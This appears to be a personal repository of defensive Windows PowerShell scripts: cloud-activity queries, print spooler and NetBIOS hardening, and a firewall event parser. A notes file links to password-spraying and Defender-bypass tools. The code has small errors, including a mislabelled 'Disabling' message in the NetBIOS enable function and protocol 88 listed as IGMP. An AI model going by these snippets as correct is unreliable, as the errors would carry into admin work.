EventTypes Values 17 | (Get-MCASActivity -AppName Office_365 | Group-Object EventTypeValue).Name 18 | # Get all Description_Ids 19 | (Get-MCASActivity -AppName Office_365 | Group-Object Description_id).Name 20 | 21 | 22 | 23 | 24 | ## Users 25 | # Get all EventTypes 26 | (Get-MCASActivity -UserName "jane@contoso.com" | Group-Object eventTypeName).Name 27 | # Get all EventTypes Values 28 | (Get-MCASActivity -UserName oadmin@contoso.com | Group-Object EventTypeValue).Name 29 | # Get all Description_Ids 30 | (Get-MCASActivity -UserName oadmin@contoso.com | Group-Object Description_id).Name 31 | 32 | 33 | ## Devices 34 | # Get all EventTypes 35 | (Get-MCASActivity -DeviceType Desktop | Group-Object eventTypeName).Name 36 | # Get all EventTypes Values 37 | (Get-MCASActivity -DeviceType Desktop | Group-Object EventTypeValue).Name 38 | # Get all Description_Ids 39 | (Get-MCASActivity -DeviceType Desktop | Group-Object Description_id).Name 40 | 41 | ## AdminEvents 42 | # Get all EventTypes 43 | (Get-MCASActivity -AdminEvents | Group-Object eventTypeName).Name 44 | # Get all EventTypes Values 45 | (Get-MCASActivity -AdminEvents | Group-Object EventTypeValue).Name 46 | # Get all Description_Ids 47 | (Get-MCASActivity -AdminEvents | Group-Object Description_id).Name 48 | 49 | # File Accessed 50 | Get-MCASActivity -EventTypeName "EVENT_CATEGORY_ACCESS_FILE" -Credential $mcasconnect 51 | 52 | # Countries 53 | $countries = Get-MCASActivity -CountryCodePresent | Select-Object -ExpandProperty Location 54 | $countries | Group-Object City 55 | 56 | # Stuff with a particular file 57 | $fileactivity = Get-MCASActivity -FileID "ff9c1544-77ee-43c0-887d-73e1da4708b6|10e77f7e-8c8e-4334-943a-82b363efad86" 58 | $fileactivity | Select-Object -ExpandProperty User 59 | 60 | -------------------------------------------------------------------------------- /Notes/Notes.md: -------------------------------------------------------------------------------- 1 | 2 | https://github.com/OfficeDev/MCCA 3 | 4 | 5 | https://www.cyberdrain.com/monitoring-with-powershell-monitoring-legacy-authentication-logons/?utm_source=rss&utm_medium=rss&utm_campaign=monitoring-with-powershell-monitoring-legacy-authentication-logons 6 | 7 | 8 | 9 | 10 | 11 | 12 | # ignatureDownloadCustomTask 13 | https://www.powershellgallery.com/packages/SignatureDownloadCustomTask/1.4 14 | 15 | # ORCA 16 | https://office365itpros.com/2019/11/14/orca-checks-office365-atp-settings/ 17 | 18 | # HAWK 19 | https://github.com/Canthv0/hawk 20 | 21 | # Defender ASR 22 | https://www.powershellgallery.com/packages/DefenderASR/0.0.2 23 | 24 | # Defender maps 25 | https://github.com/alexverboon/DefenderMAPS 26 | 27 | # PowerSTIG 28 | https://www.powershellgallery.com/packages/PowerSTIG/4.2.0 29 | 30 | Office-365-Password-Spray 31 | https://github.com/nickvangilder/Office-365-Password-Spray 32 | 33 | DomainPasswordSpray 34 | https://github.com/dafthack/DomainPasswordSpray 35 | 36 | mtp 37 | https://github.com/microsoft/MTP-AHQ 38 | 39 | LAPS 40 | https://www.powershellgallery.com/packages/MrAToolbox/1.2.0/Content/Test-LapsCompliance.ps1 41 | 42 | password spray 43 | https://github.com/dafthack/MSOLSpray 44 | 45 | 46 | # app crashes 47 | Get-WinEvent -FilterHashtable @{'providername' = 'Windows Error Reporting';starttime=(Get-Date).AddDays(-7);Id=1001 } | Select TimeCreated,@{n='App';e={$_.Properties[5].value}}|Group-Object -Property App|Select-Object -Property Name,Count|Sort-Object -Property Count -Descending 48 | 49 | 50 | https://github.com/microsoft/microsoft-defender-atp-manageability/blob/ece9933cf35c59af748a36ca1ed2311546cbc1d2/RestoreQuarantinedFile-NoOutput.ps1 51 | 52 | 53 | https://github.com/jeremyts/ActiveDirectoryDomainServices/tree/5174f8075a67f94a7da5eec617d84d4464f98c44/Audit 54 | 55 | https://yonileibowitz.github.io/kusto.blog/blog-posts/jakh.html 56 | 57 | https://github.com/sevagas/WindowsDefender_ASR_Bypass-OffensiveCon2019 58 | 59 | https://www.elastic.co/guide/en/siem/guide/7.8/prebuilt-rules.html 60 | 61 | https://github.com/anthonws/MDATP_PoSh_Scripts?files=1 62 | 63 | https://call4cloud.nl/2020/07/along-came-mcas-automation/ 64 | 65 | https://github.com/AlexFilipin/ConditionalAccess/wiki#quick-start 66 | 67 | https://github.com/rod-trent/SentinelKQL 68 | 69 | https://github.com/AzureAD/IdentityProtectionTools 70 | 71 | https://github.com/swisscom/PowerSponse 72 | -------------------------------------------------------------------------------- /PrintSpooler/MEMCMBaseLine/CI Scripts/CI_PrintSpoolerService_Discovery.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | CI_PrintSpoolerService_Discovery 4 | .DESCRIPTION 5 | Script for Configuration Manager - Configuration Item 6 | 7 | CI_PrintSpoolerService_Discovery checks whether the Windows Print Spooler Service is stopped and StartMode set to disabled 8 | 9 | The status of the Windows Print Spooler 'Spooler' must be 'Stopped' and the Start Mode must be set to 'Disabled' 10 | 11 | All attributes must return true, otherwise the CI returns false 12 | 13 | .NOTES 14 | v1.0, 10.07.2021 alex verboon 15 | #> 16 | 17 | Try{ 18 | $PrintSpoolerServiceStatus = (Get-Service -Name "Spooler").Status 19 | $PrintSpoolStartMode = (Get-Service -Name Spooler).StartType 20 | If ($PrintSpoolerServiceStatus -eq "Stopped" -and $PrintSpoolStartMode -eq "Disabled") 21 | { 22 | Return $True 23 | } 24 | Else 25 | { 26 | Return $False 27 | } 28 | } 29 | Catch{ 30 | $False 31 | } 32 | 33 | -------------------------------------------------------------------------------- /PrintSpooler/MEMCMBaseLine/CI Scripts/CI_PrintSpoolerService_Remediation.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | CI_PrintSpoolerService_Remediation 4 | .DESCRIPTION 5 | Script for Configuration Manager - Configuration Item 6 | 7 | CI_PrintSpoolerService_Remediation sets the start mode of the print spooler to disabled and stops the print spooler service 8 | 9 | .NOTES 10 | v1.0, 10.07.2021, alex verboon 11 | #> 12 | 13 | Stop-Service -Name "Spooler" -Force 14 | Set-Service -Name "Spooler" -StartupType Disabled 15 | -------------------------------------------------------------------------------- /PrintSpooler/MEMCMBaseLine/New-CMCIPrintSpoolerService.ps1: -------------------------------------------------------------------------------- 1 | function New-CMCIPrintSpoolerService 2 | { 3 | <# 4 | .Synopsis 5 | New-CMCIPrintSpoolerService 6 | 7 | .DESCRIPTION 8 | New-CMCIPrintSpoolerService creates a Configuration Item in ConfigMgr to check 9 | if the print spooler is stopped and if the start mode is set to disabled 10 | 11 | 12 | .NOTES 13 | v1.0, 10.07.2021, alex verboon, initial version 14 | #> 15 | 16 | [CmdletBinding()] 17 | Param 18 | ( 19 | # ConfigMgr Site Code 20 | [Parameter(Mandatory=$true, 21 | ValueFromPipelineByPropertyName=$true, 22 | Position=0)] 23 | $SiteCode="P01", 24 | # ConfigMgr Site Server 25 | [Parameter(Mandatory=$true, 26 | ValueFromPipelineByPropertyName=$true, 27 | Position=0)] 28 | $SiteServer="$ENV:COMPUTERNAME" 29 | ) 30 | 31 | Begin 32 | { 33 | 34 | #Name and description of the Configuration Item 35 | $CI_name = 'CI_PrintSpoolerServiceDisabled' 36 | $CI_desc = 'Check if print spooler is disabled and stopped' 37 | 38 | #Name of the CI setting and content of powershellscripts 39 | $Setting_name = 'Disable Print Spooler Service' 40 | $Setting_Desc = 'Disable Print Spooler Service' 41 | $discoverScript_path = "$PSScriptRoot\CI Scripts\CI_PrintSpoolerService_Discovery" 42 | $remediationScript_path = "$PSScriptRoot\CI Scripts\CI_PrintSpoolerService_Remediation.ps1" 43 | 44 | #Name and description of the Compliance rule 45 | $rule_name = 'Check Print Spooler Service Status' 46 | $rule_Desc = 'Check Print Spooler Service Status' 47 | 48 | ################################################################################# 49 | # NO code edits needed below, unless you need to add additional functionality 50 | ################################################################################# 51 | 52 | 53 | # Check if ConfigMgr PowerShell Module is present and can be loaded 54 | Try{ 55 | if (-not(Get-Module -name ConfigurationManager)) 56 | { 57 | Write-Verbose "Importing Configuration Manager PowerShell module" 58 | Import-Module ($Env:SMS_ADMIN_UI_PATH.Substring(0,$Env:SMS_ADMIN_UI_PATH.Length-5) + '\ConfigurationManager.psd1') 59 | } 60 | } 61 | Catch{ 62 | Write-Error "Unable to load ConfigMgr PowerShell Module" 63 | } 64 | 65 | # Change the PS Drive to the ConfigMgr Site 66 | Write-Verbose "ConfigMgr SiteCode: $SiteCode" 67 | Write-Verbose "ConfigMgr SiteServer: $SiteServer" 68 | 69 | 70 | Try{ 71 | $configMgrDrive = "$SiteCode" + ":" 72 | cd $configMgrDrive 73 | Write-Verbose "Check if User sees the Configuration Item folder" 74 | Test-Path "ConfigurationItem" -PathType Container 75 | } 76 | Catch 77 | { 78 | Write-Error "There was an error connecting to the ConfigMgr Site $SiteCode" 79 | } 80 | 81 | Write-Verbose "Creating new Configuration Item:" 82 | Write-Verbose "Name: $CI_name" 83 | Write-Verbose "Description: $CI_desc" 84 | Write-Verbose "Setting name: $Setting_name" 85 | Write-Verbose "Setting Description: $Setting_Desc" 86 | Write-Verbose "PowerShell Script input: $discoverScript_path" 87 | Write-Verbose "PowerShell remediation script: $remediationScript_path" 88 | Write-Verbose "Rule Name: $rule_name" 89 | Write-Verbose "Rule Description: $rule_Desc" 90 | 91 | } 92 | Process 93 | { 94 | Try{ 95 | Write-Verbose "Creating new Configuration Item" 96 | $CIObject = New-CMConfigurationItem -Name $CI_name -CreationType WindowsOS -Description $CI_desc 97 | 98 | Write-Verbose "Adding Settings" 99 | $Setting = Add-CMComplianceSettingScript -InputObject $CIObject -settingName $Setting_name -Description $Setting_Desc -DataType Boolean -DiscoveryScriptLanguage PowerShell -DiscoveryScriptFile $discoverScript_path -noRule -Is64Bit -RemediationScriptFile $remediationScript_path -RemediationScriptLanguage PowerShell 100 | 101 | Write-Verbose "Adding Rules" 102 | $setting2 = $CIObject | Get-CMComplianceSetting -SettingName $Setting_name 103 | $CIRule = $Setting2 | New-CMComplianceRuleValue -ExpressionOperator IsEquals -RuleName $rule_name -ExpectedValue 'True' -NoncomplianceSeverity Critical -RuleDescription $rule_desc -ReportNoncompliance -Remediate 104 | $CIRuleAdded = Add-CMComplianceSettingRule -InputObject $CIObject -Rule $CIRule 105 | } 106 | Catch 107 | { 108 | Write-Error "There was an error creating the Configuration Item for $CI_name" 109 | } 110 | } 111 | End 112 | { 113 | Get-CMConfigurationItem -Name "$CI_name" -Fast | Sort-Object DateCreated | Select-Object * -Last 1 114 | } 115 | } 116 | 117 | -------------------------------------------------------------------------------- /PrintSpooler/MEMCMBaseLine/readme.md: -------------------------------------------------------------------------------- 1 | # Microsoft Endpoint Configuration Manager - Configuration Baseline for Print Spooler 2 | 3 | Use the below scripts to create a CI for the Print Spooler Service. 4 | 5 | ## Content 6 | 7 | **New-CMCIPrintSpoolerService.ps1** 8 | Use this script to create a CI for the Windows Print Spooler Service. This script will create a CI in Microsoft Endpoint Configuration manager and embed the content of: 9 | CI Scripts\CI_PrintSpoolerService_Discovery.ps1 and CI_PrintSpoolerService_Remediation.ps1 10 | 11 | **CI_PrintSpoolerService_Discovery.ps1** 12 | This script contains the code to gather the Print Spooler running and startup state information. 13 | 14 | **CI_PrintSpoolerService_Remediation.ps1** 15 | This script executes when the Print Spooler is running or set to start automatically. The script will disable the print spooler service and stop it. 16 | 17 | ## Installation 18 | 19 | 1. Save the files to your local disk 20 | 2. Open the Configuration Manager Console 21 | 3. Open PowerShell ISE from the CM Console 22 | 4. Switch to the directory where you have saved the scripts. 23 | 5. Load the function included in the script 24 | 25 | ```PowerShell 26 | . .\New-CMCIPrintSpoolerService.ps1 27 | ``` 28 | 29 | 6.Run the script to create the CI 30 | 31 | ```PowerShell 32 | New-CMCIPrintSpoolerService -SiteCode P01 -SiteServer cm01.corp.net -Verbose 33 | ``` 34 | 35 | You now have the CI in the console, next create the Configuration baseline and assign the created CI. Then deploy the baseline to a target collection where you want to have the print spooler service disabled. 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerShellCode 2 | PowerShell stuff I work on 3 | -------------------------------------------------------------------------------- /Windows/Set-NetBiosDisabled.ps1: -------------------------------------------------------------------------------- 1 |  2 | 3 | Function Set-NetBiosDisabled 4 | { 5 | <# 6 | .Synopsis 7 | Set-NetBiosDisabled 8 | .DESCRIPTION 9 | Set-NetBiosDisabled disables NetBIOS over TCP/IP on all IP enabled network adapters 10 | where NETBIOS is not already disabled. 11 | 12 | .EXAMPLE 13 | Set-NetBiosDisabled 14 | .NOTES 15 | v1, 14-12-2019, Alex Verboon, initial version 16 | 17 | https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/settcpipnetbios-method-in-class-win32-networkadapterconfiguration 18 | 19 | #> 20 | [CmdletBinding(SupportsShouldProcess)] 21 | Param() 22 | 23 | Begin{ 24 | [int]$DisableValue = 2 25 | } 26 | Process{ 27 | Try{ 28 | $adapters = (Get-WmiObject -Class win32_networkadapterconfiguration -Filter "ipenabled = 'true'" -ErrorAction Stop) 29 | Foreach ($adapter in $adapters) 30 | { 31 | Write-Host $adapter.TcpipNetbiosOptions 32 | If ($adapter.TcpipNetbiosOptions -ne 2) 33 | { 34 | 35 | if ($PSCmdlet.ShouldProcess($adapter.Description,'Disabling NetBIOS over TCP/IP')) 36 | { 37 | $result = $adapter.settcpipnetbios($DisableValue) 38 | } 39 | } 40 | Else 41 | { 42 | Write-host "NetBIOS is already disabled on $($adapter.Description)" 43 | } 44 | } 45 | } 46 | Catch{ 47 | $Error 48 | } 49 | } 50 | End{} 51 | } 52 | 53 | 54 | Set-NetBiosDisabled -------------------------------------------------------------------------------- /Windows/Set-NetBiosEnabled.ps1: -------------------------------------------------------------------------------- 1 |  2 | 3 | Function Set-NetBiosEnabled 4 | { 5 | <# 6 | .Synopsis 7 | Set-NetBiosEnabled 8 | .DESCRIPTION 9 | Set-NetBiosEnabled Enables NetBIOS over TCP/IP on all IP enabled network adapters 10 | where NETBIOS is not already Enabled. 11 | 12 | .EXAMPLE 13 | Set-NetBiosEnabled 14 | .NOTES 15 | v1, 14-12-2019, Alex Verboon, initial version 16 | 17 | https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/settcpipnetbios-method-in-class-win32-networkadapterconfiguration 18 | 19 | #> 20 | [CmdletBinding(SupportsShouldProcess)] 21 | Param() 22 | 23 | Begin{ 24 | [int]$DisableValue = 0 25 | } 26 | Process{ 27 | Try{ 28 | $adapters = (Get-WmiObject -Class win32_networkadapterconfiguration -Filter "ipenabled = 'true'" -ErrorAction Stop) 29 | Foreach ($adapter in $adapters) 30 | { 31 | Write-Host $adapter.TcpipNetbiosOptions 32 | If ($adapter.TcpipNetbiosOptions -ne 0) 33 | { 34 | 35 | if ($PSCmdlet.ShouldProcess($adapter.Description,'Disabling NetBIOS over TCP/IP')) 36 | { 37 | $result = $adapter.settcpipnetbios($DisableValue) 38 | } 39 | } 40 | Else 41 | { 42 | Write-host "NetBIOS is already Enabled on $($adapter.Description)" 43 | } 44 | } 45 | } 46 | Catch{ 47 | $Error 48 | } 49 | } 50 | End{} 51 | } 52 | 53 | 54 | Set-NetBiosEnabled -------------------------------------------------------------------------------- /WindowsFirewall/Get-WFPEvents.ps1: -------------------------------------------------------------------------------- 1 | #Requires -RunAsAdministrator 2 | function Get-WFPEvents{ 3 | <# 4 | .Synopsis 5 | Get-WFPEvents 6 | .DESCRIPTION 7 | Get-WFPEvents retrieves Windows Filtering Platform events 8 | 9 | For more details see: 10 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-connection 11 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-packet-drop 12 | https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/host-firewall-reporting?view=o365-worldwide 13 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5031 14 | .EXAMPLE 15 | Get-WFPEvents 16 | .NOTES 17 | v1.0, 02.11.2021, alex Verboon 18 | #> 19 | [CmdletBinding()] 20 | Param( 21 | # Number of events to retrieve 22 | [int] 23 | $MaxEvents=10 24 | ) 25 | 26 | Begin{ 27 | $fweventcodes = @{ 28 | "5031" = "The Windows Firewall Service blocked an application from accepting incoming connections on the network"; 29 | "5150" = "The Windows Filtering Platform blocked a packet."; 30 | "5151" = "A more restrictive Windows Filtering Platform filter has blocked a packet"; 31 | "5154" = "The Windows Filtering Platform has permitted an application or service to listen on a port for incoming connections." 32 | "5155" = "The Windows Filtering Platform has blocked an application or service from listening on a port for incoming connections."; 33 | "5156" = "The Windows Filtering Platform has permitted a connection." 34 | "5157" = "The Windows Filtering Platform has blocked a connection."; 35 | "5158" = " The Windows Filtering Platform has permitted a bind to a local port." 36 | "5159" = "The Windows Filtering Platform has blocked a bind to a local port."; 37 | "5152" = "The Windows Filtering Platform blocked a packet."; 38 | "5153" = "A more restrictive Windows Filtering Platform filter has blocked a packet."; 39 | } 40 | 41 | $protocolcodes = @{ 42 | "1" = "Internet Control Message Protocol (ICMP)"; 43 | "6" = "Transmission Control Protocol (TCP)"; 44 | "17" = "User Datagram Protocol (UDP)"; 45 | "47" = "General Routing Encapsulation (PPTP data over GRE)"; 46 | "51" = "Authentication Header (AH) IPSec"; 47 | "50" = "Encapsulation Security Payload (ESP) IPSec"; 48 | "8" = "Exterior Gateway Protocol (EGP)"; 49 | "3" = "Gateway-Gateway Protocol (GGP)"; 50 | "20" = "Host Monitoring Protocol (HMP)"; 51 | "88" = "Internet Group Management Protocol (IGMP)"; 52 | "66" = "MIT Remote Virtual Disk (RVD)"; 53 | "89" = "OSPF Open Shortest Path First"; 54 | "12" = "PARC Universal Packet Protocol (PUP)"; 55 | "27" = "Reliable Datagram Protocol (RDP)"; 56 | "46" = "Reservation Protocol (RSVP) QoS"; 57 | } 58 | } 59 | Process{ 60 | $EventHashTable = @{ 61 | LogName = "Security" 62 | ID = 5031,5150,5151,5155,5157,5159,5152,5153 63 | } 64 | $Result = [System.Collections.ArrayList]::new() 65 | $EventData = Get-WinEvent -FilterHashtable $EventHashTable -MaxEvents $MaxEvents -ErrorAction SilentlyContinue 66 | 67 | ForEach($logentry in $EventData){ 68 | $ParsedEventLogData = [xml]$logentry[0].ToXml() 69 | $Detail = $ParsedEventLogData.Event.EventData.data 70 | $object = [PSCustomObject]@{ 71 | TimeCreated = $logentry.TimeCreated 72 | EventID = $logentry.Id 73 | Description = $fweventcodes["$($Logentry.Id)"] 74 | ComputerName = $logentry.MachineName 75 | ProviderName = $logentry.ProviderName 76 | TaskDisplayName = $logentry.TaskDisplayName 77 | ProviderGUID = $ParsedEventLogData.Event.System.Provider.guid 78 | ProcessID = $Detail[0].'#Text' 79 | Application = $Detail[1].'#Text' 80 | Direction = $Detail[2].'#Text' 81 | DirectionName = if ($Detail[2].'#text' -eq "%%14592"){"Inbound"} Elseif($Detail[2].'#text' -eq "%%14593") {"Outbound"} Else{"Undefined"} 82 | SourceAddress = $Detail[3].'#Text' 83 | SourcePort = $Detail[4].'#text' 84 | DestAddress = $Detail[5].'#text' 85 | DestPort = $Detail[6].'#text' 86 | Protocol = $Detail[7].'#Text' 87 | ProtocolName = $protocolcodes["$($Detail[7].'#Text')"] 88 | } 89 | [void]$Result.Add($object) 90 | } 91 | } 92 | End{ 93 | $Result 94 | } 95 | } 96 | 97 | 98 | 99 | 100 | --------------------------------------------------------------------------------